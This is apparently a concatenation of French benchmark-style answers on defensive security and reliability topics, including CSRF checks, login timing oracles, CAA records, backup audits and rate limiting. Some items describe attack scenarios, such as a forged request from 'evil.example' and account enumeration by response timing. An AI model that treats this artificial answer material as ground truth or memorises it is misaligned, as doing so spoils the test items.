rejeté:type invalide (chaîne attendue, entier reçu),rejeté:champ interdit au client (read-only, non assignable),rejeté:propriété inconnue (additionalProperties=false),400
lecture fantôme (phantom read)|le second SELECT COUNT(*) renvoie une valeur supérieure au premier, la ligne insérée et validée devenant visible en cours de transaction|REPEATABLE READ, snapshot isolation, la norme SQL n'excluant formellement les fantômes qu'en SERIALIZABLE|snapshot pris au premier ordre de la transaction et figé jusqu'au COMMIT ou ROLLBACK, donc portée transaction entière, contre un snapshot par instruction en READ COMMITTED
invisible|0|deny|no
1. **Représentation** : stocker chaque code sous forme de condensat non réversible, idéalement un HMAC avec une clé secrète conservée hors base, après une normalisation déterministe. Associer ce condensat à une ligne unique contenant notamment l’utilisateur et un état `consumed_at` initialement nul. Ne jamais journaliser le code en clair.
2. **Comparaison** : normaliser l’entrée exactement comme lors de la génération, calculer son condensat, puis effectuer toute comparaison cryptographique résiduelle en temps constant. Une réponse externe uniforme doit éviter de distinguer code inconnu, expiré ou déjà consommé.
3. **Transaction** : tester la disponibilité et consommer le code dans une seule opération atomique sérialisée par le magasin, par exemple :
```sql
UPDATE recovery_codes
SET consumed_at = now()
WHERE code_hmac = $1
AND user_id = $2
AND consumed_at IS NULL
RETURNING id;
```
Seule la requête qui modifie exactement une ligne peut créer la session ou accorder le privilège, dans la même transaction.
4. **Deuxième résultat** : la seconde présentation modifie zéro ligne et échoue sans créer de session. Elle reçoit la même réponse générique qu’un code invalide, tandis qu’un événement de rejeu peut être journalisé côté serveur.OFFLINE,DUAL_APPROVAL,IMMEDIATE_ALERT,POST_REVIEW
## Verdict global : **FAIL** Un seul défaut de séparation suffit à disqualifier la politique : les 23 points de restauration ($7+4+12=23$) partagent le destin du volume qui porte la base, donc une seule défaillance corrélée (perte du volume, corruption du système de fichiers, chiffrement par rançongiciel, `rm -rf` ou `DROP` accidentel avec propagation) détruit simultanément la donnée de production et l'intégralité des sauvegardes. ## Évaluation par critère | Critère | Verdict | Justification | |---|---|---| | Rétention | **PASS** | Profondeur nominale cohérente : 7 quotidiennes, 4 hebdomadaires, 12 mensuelles, soit une couverture d'environ 12 mois avec granularité fine sur la semaine récente. Ce jeu correspond au schéma classique de rotation par paliers (grand-père, père, fils). Réserve : l'horizon exact dépend de la règle de rotation, non précisée ici. | | Séparation | **FAIL** | Aucune séparation de support, d'hôte ou de site. La règle 3-2-1 (3 copies, 2 supports distincts, 1 copie hors site) n'est satisfaite sur aucun de ses trois termes. Les copies ne sont pas indépendantes : leur corrélation de panne est proche de 1. | | Résistance à l'effacement | **FAIL** | Rien n'indique d'immuabilité (WORM, verrou d'objet), de coupure logique (air gap), de compte de sauvegarde à privilèges séparés ni de protection contre la suppression par le compte applicatif ou administrateur de la base. Un attaquant ou un opérateur disposant des droits sur le volume atteint la base et les 23 copies avec la même autorisation. | | Restaurabilité testée | **FAIL** | Aucune preuve de test n'est fournie : ni restauration complète, ni restauration à un instant donné, ni vérification d'intégrité, ni RTO/RPO mesurés. Distinction importante : je ne peux pas affirmer que les sauvegardes sont illisibles, j'affirme que leur restaurabilité n'est **pas établie**. Selon le principe de défaillance fermée, un critère non prouvé se note FAIL, non « indéterminé ». | ## Ce qui manque pour passer à PASS 1. **Séparation** : réplication vers un stockage objet distant (fournisseur ou site différent), plus au moins une copie sur support ou compte totalement dissocié des identités de production. 2. **Immuabilité** : verrou d'objet en mode conformité sur une fenêtre au moins égale à la rétention la plus courte (7 jours), avec un rôle de suppression distinct du rôle d'écriture, et aucune permission de suppression accordée au compte applicatif. 3. **Chiffrement et clés** : chiffrement au repos et en transit, clés en coffre, hors du volume sauvegardé, faute de quoi la restauration devient impossible après compromission de l'hôte. 4. **Tests** : restauration réelle sur environnement isolé, à cadence fixe (par exemple mensuelle pour une restauration complète, hebdomadaire pour une vérification d'intégrité), avec journal signé des essais, mesure du temps de restauration et validation fonctionnelle applicative, pas seulement la fin sans erreur du script. 5. **Contrôle de la preuve** : sommes de contrôle par archive, ancrage des condensats dans un journal conservé **hors de portée** de l'administrateur du volume. Rappel de rigueur : une concordance d'empreinte n'est pas une preuve mathématique absolue d'identité, des collisions existent nécessairement, c'est une assurance cryptographique très forte sous les hypothèses de sécurité de la fonction de hachage. 6. **Sauvegarde logique cohérente** : dump ou instantané cohérent transactionnellement, plus journaux de transactions archivés si un RPO inférieur à 24 h est visé, un instantané de volume à chaud sans quiescence ne garantit pas la cohérence. ## Limites de cette évaluation Les verdicts portent sur les seuls éléments énoncés. Si des mécanismes d'immuabilité, de réplication ou de tests existent sans avoir été mentionnés, les critères 2, 3 et 4 devraient être réévalués sur pièces : configuration du dépôt de sauvegarde, matrice des droits du compte de sauvegarde, et rapports d'essais de restauration horodatés.
**Héritage** : oui. Le mécanisme CAA est hiérarchique, un enregistrement publié sur un domaine couvre ce domaine et ses sous-domaines tant qu'aucun enregistrement CAA plus spécifique n'existe sur un label intermédiaire (Wikipédia FR, DNS Certification Authority Authorization : « l'autorité ExampleNet (et seulement elle) est autorisée à émettre des certificats pour example.com, ainsi que pour www.example.com et www.subdomain.example.com grâce au mécanisme hiérarchique de vérification »). Donc `auth.lanxas.com`, qui n'a par hypothèse aucun CAA propre, hérite du jeu d'enregistrements de `lanxas.com`, soit la seule entrée `0 issue "letsencrypt.org"`. **Autorité autorisée** : une seule, celle identifiée par le nom de domaine `letsencrypt.org` porté dans la valeur de l'étiquette `issue`. La présence d'au moins un enregistrement CAA restreint l'émission : l'autorité candidate doit figurer comme partie autorisée dans au moins un des enregistrements CAA trouvés (Wikipédia EN, DNS Certification Authority Authorization : « ensure that the authority is listed as an authorized party in at least one of the CAA records before issuing a digital certificate » ; « The lack of any CAA records authorizes normal unrestricted issuance »). L'indicateur `0` signifie simplement que le bit *issuer critical* n'est pas activé, il ne relâche aucune restriction. Réserve honnête : je ne peux pas vérifier avec mes sources locales que la chaîne exacte publiée par Let's Encrypt comme identifiant CAA est bien `letsencrypt.org` ; la correspondance doit être exacte avec l'identifiant déclaré par l'autorité dans son CPS. **Émission** : refusée. L'autorité tierce n'apparaît dans aucun enregistrement `issue`, elle doit donc s'abstenir d'émettre le certificat pour `auth.lanxas.com`. Cette obligation est contractuelle et non technique : la vérification CAA est imposée à toutes les autorités par un vote du CA/Browser Forum de mars 2017, applicable depuis septembre 2017 (Wikipédia EN, même article, ballot 187). Une autorité non conforme reste techniquement capable d'émettre, l'article documente d'ailleurs des manquements réels (Comodo en septembre 2017, Camerfirma en 2017, requêtes CAA défectueuses chez Let's Encrypt début 2020). CAA bloque la mésémission côté autorité, il ne la rend pas physiquement impossible ni détectable par le client TLS, rôle qui revient à DANE ou à la Certificate Transparency (Wikipédia FR et EN, mêmes articles). **Verdict** : la politique est correctement restrictive et l'émission par cette autorité serait non conforme. Points de vigilance, présentés comme analyse et non comme faits établis par les sources : | Point | Effet | |---|---| | Absence d'`issuewild` | Les demandes de certificat joker retombent sur `issue`, donc restreintes à la même autorité (RFC 8659 via Wikipédia EN : `issuewild` « takes precedence over the issue property for wildcard certificate requests ») | | Absence d'`iodef` | Aucune remontée d'incident vers le titulaire, la tentative refusée risque de ne pas être signalée | | Verrouillage plus fin | Les paramètres `accounturi` et `validationmethods` de la RFC 8657 permettent de lier le domaine à un compte ACME et à une méthode de validation précis (Wikipédia EN, même article) | | Détection réelle | Surveillance des journaux de Certificate Transparency, seule voie pour constater une émission par une autorité non conforme | Hypothèses retenues : aucun enregistrement CAA sur `auth.lanxas.com` ni sur un label intermédiaire, résolution DNS non falsifiée (la vérification CAA suppose une chaîne DNS intègre, idéalement DNSSEC), et autorité tierce non listée sous un autre nom déclaré équivalent.
présent|manquant|non|échec de construction de chaîne (chaîne incomplète, erreur de vérification) Précision nécessaire à l'exactitude : ce résultat vaut si le client ne complète pas la chaîne autrement. Si le client sait récupérer l'intermédiaire via l'extension AIA (Authority Information Access, champ caIssuers) du certificat feuille, ou s'il le trouve dans un magasin local d'intermédiaires, la construction peut réussir malgré l'absence d'envoi par le serveur. Dans l'énoncé (intermédiaire absent du cache client, non envoyé), le cas par défaut est l'échec.
1. VALID 2. VALID 3. INVALID 4. VALID
Cookie CSRF émis par auth.lanxas.com donc absent de la requête postée depuis l'origine app.lanxas.com (portée d'hôte du cookie, et POST cross-site bloqué par SameSite), le token du formulaire n'a plus de cookie jumeau|vérification anti-CSRF double-submit de Kratos: comparaison csrf_token du corps avec le cookie csrf_token de la session de flow, échec car cookie manquant|403 Forbidden, error id security_csrf_violation|garder tout le browser flow sur une seule origine: rediriger le navigateur vers l'UI servie sous le même hôte que serve.public.base_url et soumettre exactement l'ui.action renvoyé par le flow, sinon placer Kratos et l'app sous le même domaine enregistrable avec cookies.domain=lanxas.com, serve.public.base_url=https://auth.lanxas.com, cookies.same_site=Lax, secure=true, path=/, et un reverse proxy qui préserve Host, Origin et Cookie, jamais de POST du formulaire depuis une origine tierce ni de flow_id recopié d'un domaine à l'autre
## Verdict par contrôle | # | Contrôle | Donnée observée | Verdict | |---|---|---|---| | 1 | Origin | `Origin: https://evil.example`, différent de l'origine de l'application | **FAIL** | | 2 | Fetch Metadata | `Sec-Fetch-Site: cross-site` sur une requête mutante | **FAIL** | | 3 | Jeton CSRF | absent | **FAIL** | | 4 | Session | cookie de session valide | **PASS** | Bilan recompté : 4 contrôles évalués, 3 FAIL, 1 PASS. ## Justification, contrôle par contrôle **1. Origin, FAIL.** L'origine déclarée n'appartient pas à la liste blanche de l'application. Sur une mutation par cookie, la comparaison d'origine doit être une égalité stricte contre une liste blanche, refus par défaut si l'en-tête est absent ou non conforme. À distinguer du `Referer`, dont la fiabilité est explicitement qualifiée de non sûre et seulement complémentaire (Wikibooks, Web Application Security Guide, Cross-site request forgery (CSRF) : « Referer checks are not secure, but can be used as an additional measure »). **2. Fetch Metadata, FAIL.** Une requête à effet de bord ne doit être acceptée qu'avec `Sec-Fetch-Site` valant `same-origin` ou `same-site`. Ici la valeur est `cross-site`, donc rejet. Précision d'honnêteté : mes outils encyclopédiques locaux n'ont retourné aucun article sur les en-têtes Fetch Metadata, je ne peux donc pas vous en citer une source vérifiée. Ce que j'énonce sur `Sec-Fetch-Site` (en-tête posé par le navigateur, non inscriptible par du script de page, donc non falsifiable côté attaquant web) relève de ma mémoire de modèle et doit être vérifié dans la spécification Fetch Metadata Request Headers du W3C avant d'être traité comme un fait établi. Corollaire opérationnel : ce contrôle n'est valide que pour les navigateurs qui envoient l'en-tête, il faut donc décider explicitement du comportement en cas d'absence (échec fermé pour les mutations sensibles, ou repli sur Origin plus jeton). **3. Jeton CSRF, FAIL.** Aucun jeton n'accompagne la mutation. Le contrôle canonique exige un jeton aléatoire non prédictible, lié à la session et de préférence à l'action, vérifié côté serveur, et non exposé dans une ressource chargeable par l'attaquant (Wikibooks, Web Application Security Guide, CSRF). L'absence de jeton est ici un FAIL indépendamment des deux contrôles précédents. **4. Session, PASS.** Le cookie de session est valide, l'utilisateur est authentifié. Ce PASS n'est pas un signal rassurant, c'est précisément la condition qui rend l'attaque exploitable : le navigateur joint automatiquement et invisiblement les cookies du domaine cible à toute requête vers ce domaine, y compris une requête forgée depuis un site tiers (Wikipedia, Cross-site request forgery : « web browsers ... will automatically and invisibly include any cookies ... in any web request sent to that domain »). ## Décision Rejet de la mutation, `403`, sans exécution d'aucun effet de bord, avant même la couche métier. Le motif à journaliser est le premier contrôle échoué, ici l'origine, avec l'identifiant de corrélation, la route, la méthode, les valeurs de `Origin` et `Sec-Fetch-Site` et l'identifiant utilisateur. Ne journalisez ni le cookie, ni le jeton de session, ni un jeton CSRF, même haché. Qualification du cas : profil exactement conforme à la signature CSRF classique, requête à effet de bord, cross-site, portée par une session légitime, sans preuve de provenance (Wikipedia, Cross-site request forgery ; Wikibooks, Web Application Security Guide, CSRF). Distinction à ne pas confondre : - **Authenticité de l'utilisateur** : établie, le porteur du cookie est bien authentifié. - **Authenticité de l'intention et de la provenance** : non établie, aucun élément ne prouve que la requête a été voulue par l'utilisateur depuis l'application. - **Autorisation** : refusée, car l'autorisation d'une mutation exige les deux, et un contrôle d'authentification valide ne supplée jamais un contrôle de provenance manquant. ## Contrôles à ajouter en défense en profondeur 1. `SameSite=Lax` au minimum, `Strict` pour les sessions sensibles, plus `Secure` et `HttpOnly` sur le cookie de session. Une requête `cross-site` mutante ne devrait alors même pas porter le cookie. 2. Jeton CSRF lié à la session et à l'action, vérifié systématiquement sur toute méthode non sûre. 3. Aucune mutation sur `GET`, conformément à la convention selon laquelle `GET` et `HEAD` ne doivent pas avoir d'effet autre que la récupération (Wikipedia, Cross-site request forgery, citant RFC 2616). Beaucoup de protections de frameworks ne couvrent pas `GET`, ce qui rend cette règle indispensable. 4. Ré-authentification ou second facteur sur les actions critiques (changement de mot de passe, d'adresse de courriel, virement), afin qu'une session seule ne suffise jamais. 5. En-têtes CORS restrictifs, jamais `Access-Control-Allow-Origin: *` avec identifiants, et vérification du `Content-Type` attendu pour les API JSON afin de bloquer les envois par formulaire HTML simple (Wikipedia, Cross-site request forgery, section HTTP verbs and CSRF). ## Limites et risques résiduels - Un jeton CSRF ne protège pas si l'application est vulnérable au XSS, la charge peut alors lire le jeton et forger la requête depuis l'origine légitime (Wikipedia, Cross-site request forgery, section Other approaches to CSRF). - Un jeton peut être neutralisé par fixation de session ou par un jeton prédictible ou devinable par force brute (même source). - `SameSite` dépend du comportement du navigateur et de sa version, ce n'est pas une garantie universelle ; je ne dispose pas d'une source vérifiée dans mes outils pour la matrice de compatibilité, à contrôler auprès de la spécification et des notes des éditeurs de navigateurs. - Le contrôle d'origine échoue en silence si `Origin` est absent, cas qu'il faut traiter comme un refus et non comme un succès. - Généralisation interdite : constater ici quatre verdicts ne prouve pas que la chaîne de contrôles est correcte en général. Seule une revue de code de tous les points d'entrée mutants, plus des tests automatisés forgeant des requêtes cross-site sans jeton sur chaque route, peut fonder cette conclusion. Je n'ai ni lu votre code, ni exécuté de test, je n'affirme donc rien sur l'état réel de votre implémentation.
**Énumération de comptes par canal auxiliaire temporel (timing oracle sur /login)**|Le KDF (bcrypt/argon2/scrypt) n'est exécuté que lorsque l'email existe : email inconnu = sortie précoce sans hachage (30 ms), email connu = vérification complète du hash (250 ms) ; l'écart de 220 ms est directement lisible par un attaquant non authentifié et suffit à trier des listes d'emails, phase de reconnaissance avant credential stuffing ou phishing ciblé|Comparer systématiquement contre un hash leurre de mêmes paramètres de coût quand l'email est inconnu (dummy verify), puis renvoyer une réponse strictement indistinguable : même code HTTP, même corps, même message générique « identifiants invalides », mêmes en-têtes et mêmes cookies ; ajouter un plancher de latence constant supérieur au pire cas du KDF, unifier le même traitement pour compte verrouillé, désactivé ou non vérifié, et appliquer une limitation de débit par IP et par identifiant plus un délai progressif ; jamais de jitter aléatoire seul, il se moyenne et ne masque pas l'écart|Indistinguabilité temporelle : sur $n \ge 1000$ requêtes par classe, mesurer les distributions de latence $T_{\text{inconnu}}$ et $T_{\text{connu}}$ et exiger que l'écart des médianes et des quantiles $p_{95}$ reste sous le bruit réseau, avec un test non paramétrique (Mann-Whitney ou Kolmogorov-Smirnov) ne détectant pas de différence exploitable, et une AUC de classification proche de $0{,}5$ ; contrôler aussi l'égalité stricte des réponses (taille, code, en-têtes) et vérifier l'absence des mêmes fuites sur /register, /reset-password et /verify-email
*Précisions de rigueur : le diagnostic ci-dessus est l'explication la plus probable des deux latences citées, pas un fait vérifié sur votre code ; un profilage serveur est nécessaire pour confirmer que l'écart vient bien du KDF et non d'une requête base de données ou d'un cache. La correction réduit le canal temporel mais ne l'annule pas absolument : un attaquant disposant de millions de mesures peut exploiter un biais résiduel, et d'autres canaux subsistent (taille de réponse, comportement de /register, messages d'erreur, journaux). Aucune de ces mesures ne rend la route « sans risque ».*valide|valide|déjà consommé|refus
## Données et modèle
| Paramètre | Valeur |
|---|---|
| Capacité du seau $C$ | 10 jetons |
| Jetons à $t=0^-$ | 10 (seau plein) |
| Débit de recharge $r$ | 1 jeton/s |
| Coût par requête | 1 jeton |
| Arrivées | 20 requêtes simultanées à $t=0$ |
| Trafic ultérieur | aucun |
Règle du seau à jetons : une requête est conforme si le compteur contient au moins le coût de la requête, on soustrait alors ce coût ; sinon le compteur reste inchangé et la requête est « en excès », en général rejetée (article Wikipédia FR « Seau à jetons »).
## Raisonnement chiffré
Les 20 arrivées sont simultanées, donc la durée écoulée est nulle et la recharge apporte $r \times 0 = 0$ jeton pendant la rafale.
Jetons disponibles pour la rafale :
$$N_{\text{dispo}} = \min(C,\ 10 + r\cdot 0) = 10$$
Requêtes acceptées :
$$A = \min(20,\ 10) = \mathbf{10}$$
Requêtes rejetées :
$$R = 20 - 10 = \mathbf{10}$$
Jetons restants immédiatement après la rafale :
$$b(0^+) = 10 - 10 = \mathbf{0}$$
Délai avant la prochaine acceptation (il faut reconstituer 1 jeton) :
$$\Delta t = \frac{1 - b(0^+)}{r} = \frac{1 - 0}{1} = \mathbf{1\ \text{s}}$$
## Résultat
- **Acceptées : 10**
- **Rejetées : 10**
- **Jetons restants : 0**
- **Prochain délai minimal d'acceptation : 1 s** (soit $t = 1$ s)
Corollaire utile : les 10 requêtes refusées, si elles étaient réémises au rythme permis, seraient absorbées à raison de 1 par seconde, la dernière à $t = 10$ s, puisque $\Delta t_k = k/r$ pour la $k$-ième.
## Tension à signaler dans l'énoncé
Le quota « 60 requêtes par minute » et le seau décrit ne sanctionnent pas la même chose. En moyenne, $r = 1$ jeton/s correspond bien à 60 requêtes/minute, et la rafale de 20 requêtes reste largement sous 60 sur la minute. Elle est pourtant rejetée pour moitié, parce que la capacité $C = 10$ borne la rafale instantanée. Conclusion : avec cette configuration, la limite effective n'est pas « 60 par minute quelle que soit la distribution », mais « 1/s en moyenne avec une tolérance de rafale de 10 ». Si l'exigence métier est réellement « 60 par minute glissante, rafales libres », il faut $C = 60$, ou un compteur à fenêtre glissante, pas ce seau.
## Hypothèses et conventions retenues
1. Coût unitaire de 1 jeton par requête, non précisé dans l'énoncé mais implicite pour un quota exprimé en requêtes.
2. Rejet sec des requêtes en excès, sans file d'attente ni marquage, cas « en général » décrit par la source ; avec mise en attente, le nombre de rejets serait 0 et la 20ᵉ requête partirait à $t = 10$ s.
3. Simultanéité stricte des 20 arrivées à $t=0$, donc recharge nulle pendant la rafale. Si les arrivées étaient étalées, ne serait-ce que sur 1 s, un jeton supplémentaire au moins serait crédité et le compte d'acceptées augmenterait.
4. Test de conformité en $\geq$ coût, et comparaison en temps continu. Avec une implémentation à $>$ strict, ou à réveils discrets (tick de 1 s), la prochaine acceptation surviendrait au premier tick suivant $t = 1$ s, donc à 1 s au tick près, jamais avant.## Cadre de la simulation
Chaîne $H_i=\mathrm{SHA256}(H_{i-1}\,\|\,\mathrm{canonical}(\text{entry}_i))$, journal de 6 entrées, $H_0=\texttt{00...00}$. L'entrée $i=3$ est réécrite, et les condensats $H_3,\dots,H_6$ **déjà stockés** ne sont pas recalculés (simulation exécutée à l'instant dans le laboratoire local LANXAS, code et sortie ci-dessus).
## Les quatre observations
| # | Observation | Résultat mesuré |
|---|---|---|
| 1 | **Hash local** | $H_3^{stocké}\neq \mathrm{SHA256}(H_2^{stocké}\,\|\,\text{entry}_3')$ : échec unique, exactement à l'indice falsifié ($k=3$ faux, tous les autres vrais) |
| 2 | **Lien suivant** | $H_4^{stocké}=\mathrm{SHA256}(H_3^{stocké}\,\|\,\text{entry}_4)$ reste **valide** : le lien $3\to4$ n'est pas rompu, l'anomalie ne se propage pas dans les liens stockés |
| 3 | **Tête finale** | $H_6^{stocké}$ **inchangée** : `0a67a4f0eb270cce1dde13ead64f4b9d2e0955592775b82d4d1c5fe6bbaba3d1`. Comparer la tête stockée à elle-même ne révèle rien |
| 4 | **Vérification globale** | Rejeu intégral depuis $H_0$ : divergence à partir de $k=3$ **et sur tous les suivants** ($k=3,4,5,6$), tête recalculée `a07fbfde7c5f...` $\neq$ tête stockée |
### Lecture des quatre points
**1. Hash local.** C'est le seul test qui localise la falsification. Il recalcule $H_i$ à partir du prédécesseur stocké et de l'entrée présente. L'échec est ponctuel et pointe l'indice exact.
**2. Lien suivant.** Puisque $H_3^{stocké}$ n'a pas été touché, la relation de chaînage vers l'entrée 4 demeure arithmétiquement correcte. Conséquence opérationnelle : un vérificateur qui ne contrôlerait que « chaque $H_k$ référence bien le $H_{k-1}$ enregistré » sans recalculer le contenu ne voit **aucune** anomalie. La rupture est de contenu, pas de structure.
**3. Tête finale.** La tête stockée est inaltérée. Elle ne devient un instrument de détection que si elle est **confrontée à une ancre externe conservée hors de portée de l'attaquant**, et cette ancre doit être un condensat $h_k$ avec $k\ge i$, car seul lui engage cryptographiquement l'entrée $i$. Une ancre antérieure ($j<i$) ne détecte rien : l'attaquant peut recalculer toute la chaîne à partir de $H_{j}$ (règle de rigueur LANXAS sur les journaux à chaînage).
**4. Vérification globale.** Le rejeu complet depuis $H_0$ est le contrôle probant, mais il ne localise pas : il produit une divergence en cascade sur toute la queue du journal, ce qui masque le point d'injection. La combinaison utile est donc : rejeu global pour établir l'atteinte à l'intégrité, puis test local point par point pour identifier l'indice.
## Portée et limites
- Ces quatre observations établissent une **atteinte à l'intégrité**, non l'identité de l'auteur : l'authenticité exige une signature ou un MAC sur les condensats, ce que le chaînage seul ne fournit pas.
- Une concordance d'empreinte n'est pas une preuve mathématique absolue d'identité des contenus : des collisions existent nécessairement pour toute fonction de hachage à sortie finie. C'est une assurance cryptographique très forte sous les hypothèses de résistance de SHA-256.
- La détection dépend entièrement de la canonicalisation : deux sérialisations différentes du même objet logique produiraient un faux positif. Le résultat ci-dessus suppose une fonction `canonical` déterministe et stable.
- Le scénario testé est un cas fini (6 entrées, 1 falsification). Il illustre le mécanisme mais ne démontre pas une propriété universelle ; la garantie générale repose sur la récurrence $H_i$ dépend de $H_{i-1}$, donc de toutes les entrées d'indice $\le i$.4 s < 5 s < 6 s < 8 s
27|27x (3^3 appels par requête, soit 26 appels supplémentaires)|amplification multiplicative des réessais : chaque couche applique 3 tentatives (1 initiale + 2) de façon indépendante et imbriquée, sans budget de réessai partagé ni propagation d'échéance, donc les tentatives se composent en $3 \times 3 \times 3 = 27$ au lieu de s'additionner, ce qui transforme une panne partielle de la dépendance en tempête de réessais auto-amplifiée|un seul budget de réessai partagé de bout en bout : réessayer à une seule couche (celle au contact de la dépendance, les autres en pass-through avec erreur non réessayable), propager une échéance absolue (deadline) et un compteur de tentatives dans le contexte de la requête, budget global en jeton (retry budget type token bucket, plafond de l'ordre de quelques pourcents du trafic), backoff exponentiel avec jitter, disjoncteur et classification stricte des erreurs réessayables (idempotentes uniquement, avec clé d'idempotence)
# Diagnostic
Le système est en **surcharge structurelle** : le taux d'arrivée dépasse la capacité de service, donc la file n'atteint jamais de régime stationnaire (condition de stabilité $\rho = \lambda/\mu < 1$ violée ; source : théorie des files d'attente, article Wikipédia FR « File d'attente (théorie) », notion de facteur d'utilisation et de stabilité).
Données : $\lambda = 120\ \text{msg/s}$, $\mu = 100\ \text{msg/s}$, $L_0 = 600$ messages.
## 1. Taux de croissance
$$\frac{dL}{dt} = \lambda - \mu = 120 - 100 = \mathbf{+20\ \text{messages/s}}$$
Intensité de trafic : $\rho = \dfrac{120}{100} = 1{,}2 > 1$, soit 20 % de déficit de capacité (calcul vérifié par l'outil local).
## 2. Profondeur après 30 s
$$L(t) = L_0 + (\lambda-\mu)\,t = 600 + 20 \times 30 = \mathbf{1200\ \text{messages}}$$
## 3. Temps d'attente approximatif au débit consommé
Approximation déterministe de type loi de Little appliquée au débit de sortie effectif $\mu$ (source : article Wikipédia FR « Loi de Little », $L = \lambda W$ ; ici le débit de sortie sature à $\mu$) :
$$W(t) \approx \frac{L(t)}{\mu}$$
| Instant $t$ | Profondeur $L(t)$ | Attente $W \approx L/\mu$ |
|---|---|---|
| 0 s | 600 | **6 s** |
| 30 s | 1200 | **12 s** |
| 60 s | 1800 | 18 s |
| 5 min | 6600 | 66 s |
| 10 min | 12600 | 126 s |
| 1 h | 72600 | 726 s (~12 min) |
Réponse demandée : à $t = 30\ \text{s}$, l'attente est d'environ **12 s**.
## 4. Verdict
**Situation non viable, effondrement programmé.** Il n'existe aucun état d'équilibre : la profondeur croît linéairement de 20 msg/s et la latence croît linéairement de $0{,}2\ \text{s}$ par seconde écoulée, sans borne. Sans autoscaling, l'issue est déterminée par la première limite atteinte parmi : quota de rétention du broker, saturation disque ou mémoire, expiration TTL des messages, ou dépassement du délai contractuel (SLA). Le seul point d'incertitude est **quand** cette limite est atteinte, pas **si** elle l'est.
Capacité minimale requise : il faut $\mu > 120\ \text{msg/s}$ pour seulement stabiliser. Pour résorber les 1200 messages accumulés à $t=30\ \text{s}$ en 300 s, il faut $\mu \geq 124\ \text{msg/s}$ (résolution de $1200 - (\mu-120)\times 300 = 0$, vérifiée par calcul symbolique). En pratique, viser une marge, par exemple $\mu \approx 150\ \text{msg/s}$, soit 1,5 consommateur équivalent, pour absorber les pics et la variance.
## 5. Actions concrètes
1. Augmenter le parallélisme de consommation à au moins 2 instances (capacité 200/s), ce qui donne un drain de $-80\ \text{msg/s}$ et vide 1200 messages en 15 s.
2. Instrumenter deux métriques distinctes : profondeur de file et **âge du plus vieux message non consommé** (cette seconde métrique est le vrai signal de violation de SLA, la profondeur seule ne suffit pas).
3. Poser une alerte sur la dérivée $dL/dt > 0$ soutenue sur une fenêtre glissante, et non sur un seuil absolu de profondeur, car un seuil absolu se déclenche trop tard.
4. Mettre en place un mécanisme de contre-pression ou de délestage contrôlé côté producteur, avec file de rebut (dead letter queue), plutôt que de laisser le broker atteindre sa limite physique.
## 6. Limites du modèle et vérification
- Le modèle est **déterministe et fluide** : il ignore la variabilité des arrivées et des services. Avec de la variance, la file est en réalité pire à court terme, jamais meilleure, car la sortie ne peut pas excéder $\mu$ mais peut être ponctuellement inférieure. La valeur de 1200 messages est donc un **plancher optimiste**.
- L'hypothèse « durablement » est prise au sens littéral : $\lambda$ constant. Si le trafic est en fait un pic borné, la conclusion change et il faut alors comparer le volume total du pic à la capacité de tampon disponible.
- Les formules de file M/M/1 en régime stationnaire ($W = 1/(\mu-\lambda)$) sont **inapplicables ici** et donneraient un résultat négatif, ce qui signale précisément l'instabilité (source : article Wikipédia FR « File d'attente M/M/1 », validité conditionnée à $\rho<1$).
- Je n'ai accès ni à votre broker, ni à vos quotas de rétention, ni à vos SLA : le délai exact avant incident ne peut donc pas être calculé, seulement la trajectoire de croissance.20 ms|20 ms|200 ms|2000 ms
write() retourne false : le buffer interne a dépassé highWaterMark|arrêter immédiatement la production, source.pause() (ou cesser les push jusqu'à nouvel ordre)|drain|croissance illimitée du buffer mémoire du writable (backpressure ignorée), donc explosion de la RSS et OOM du processus
id: compteur monotone `const reqId = ++latestRef.current` capturé par la requête|cancel: `AbortController`, `signal` passé à `fetch`, puis `controller.abort()` dans le cleanup|guard: avant `setState`, `if (reqId !== latestRef.current) return;`, et ignorer `AbortError`|result: seule la réponse de la requête la plus récente, B, est commitée ; A ne peut plus l’écraser
## Les quatre directives demandées ```http Cache-Control: no-store, must-revalidate, private, no-transform ``` ## Correspondance exigence par exigence | Exigence | Directive | Effet | |---|---|---| | Interdiction de stockage | `no-store` | Interdit le stockage non volatil de la donnée, par exemple sur disque (article Wikipédia FR « Cache-Control », section HTTP/1.1) | | Revalidation | `must-revalidate` | Force le cache à se reconnecter au serveur, avec un `If-Modified-Since`, et doit provoquer une erreur 504 si la page a disparu ; si un cache viole la directive, il doit prévenir l'utilisateur et obtenir son accord pour chaque accès non revalidé (même source) | | Cache partagé | `private` | La réponse est destinée à un client unique et ne doit pas être mise en cache par un cache partagé, un proxy notamment (même source) | | Transformation | `no-transform` | Indique aux proxies et systèmes de cache qu'ils ne doivent pas transformer le corps du message reçu (même source) | ## Compléments utiles en production Pour les intermédiaires anciens qui ne comprennent que HTTP/1.0, la source encyclopédique documente un en-tête distinct : ```http Pragma: no-cache Expires: 0 ``` `Pragma: no-cache` permet d'indiquer au cache de récupérer le document auprès du serveur d'origine plutôt que de renvoyer celui qu'il conserve (article Wikipédia FR « Cache-Control », section HTTP/1.0). Précision honnête : l'ajout d'`Expires: 0` est une pratique courante d'ingénierie, mais l'article consulté ne le documente pas explicitement pour ce cas ; je le signale donc comme recommandation d'usage et non comme fait sourcé ici. Si votre besoin est aussi d'empêcher qu'une variante soit servie à un autre utilisateur derrière un cache partagé, ajoutez la négociation : ```http Vary: Cookie, Authorization ``` Cette directive n'est pas couverte par l'article consulté ; je la présente comme recommandation d'architecture, pas comme fait sourcé. ## Risques résiduels, à ne pas ignorer - `no-store` est une **instruction**, pas une garantie technique. Un client non conforme, une extension de navigateur, un proxy d'entreprise en interception TLS ou un journal applicatif peuvent conserver la donnée. L'en-tête ne remplace ni le chiffrement en transit, ni la minimisation des données. - La donnée peut subsister hors du cache HTTP : historique de navigation, `sessionStorage` ou `localStorage` écrits par votre propre JavaScript, mémoire virtuelle paginée sur disque, capture d'écran, bouton retour. Contrôlez explicitement le stockage côté client dans votre code. - `no-transform` ne protège pas contre un intermédiaire malveillant, seulement contre un intermédiaire coopératif. L'article cité mentionne d'ailleurs un proxy opérateur qui modifie les pages web, ce qui illustre la réalité du risque. La seule protection d'intégrité et de confidentialité de bout en bout reste TLS à jour. - Un cache déjà peuplé avant le déploiement de l'en-tête ne se vide pas rétroactivement. ## Vérification Contrôlez l'en-tête réellement émis, sans vous fier au code source : ```bash curl -sS -D - -o /dev/null https://exemple.tld/chemin/prive ``` Vérifiez que la ligne `Cache-Control` contient bien les quatre directives et qu'aucun intermédiaire, CDN ou reverse proxy, ne l'a réécrite. Je n'ai pas exécuté cette commande, elle est fournie pour votre contrôle.
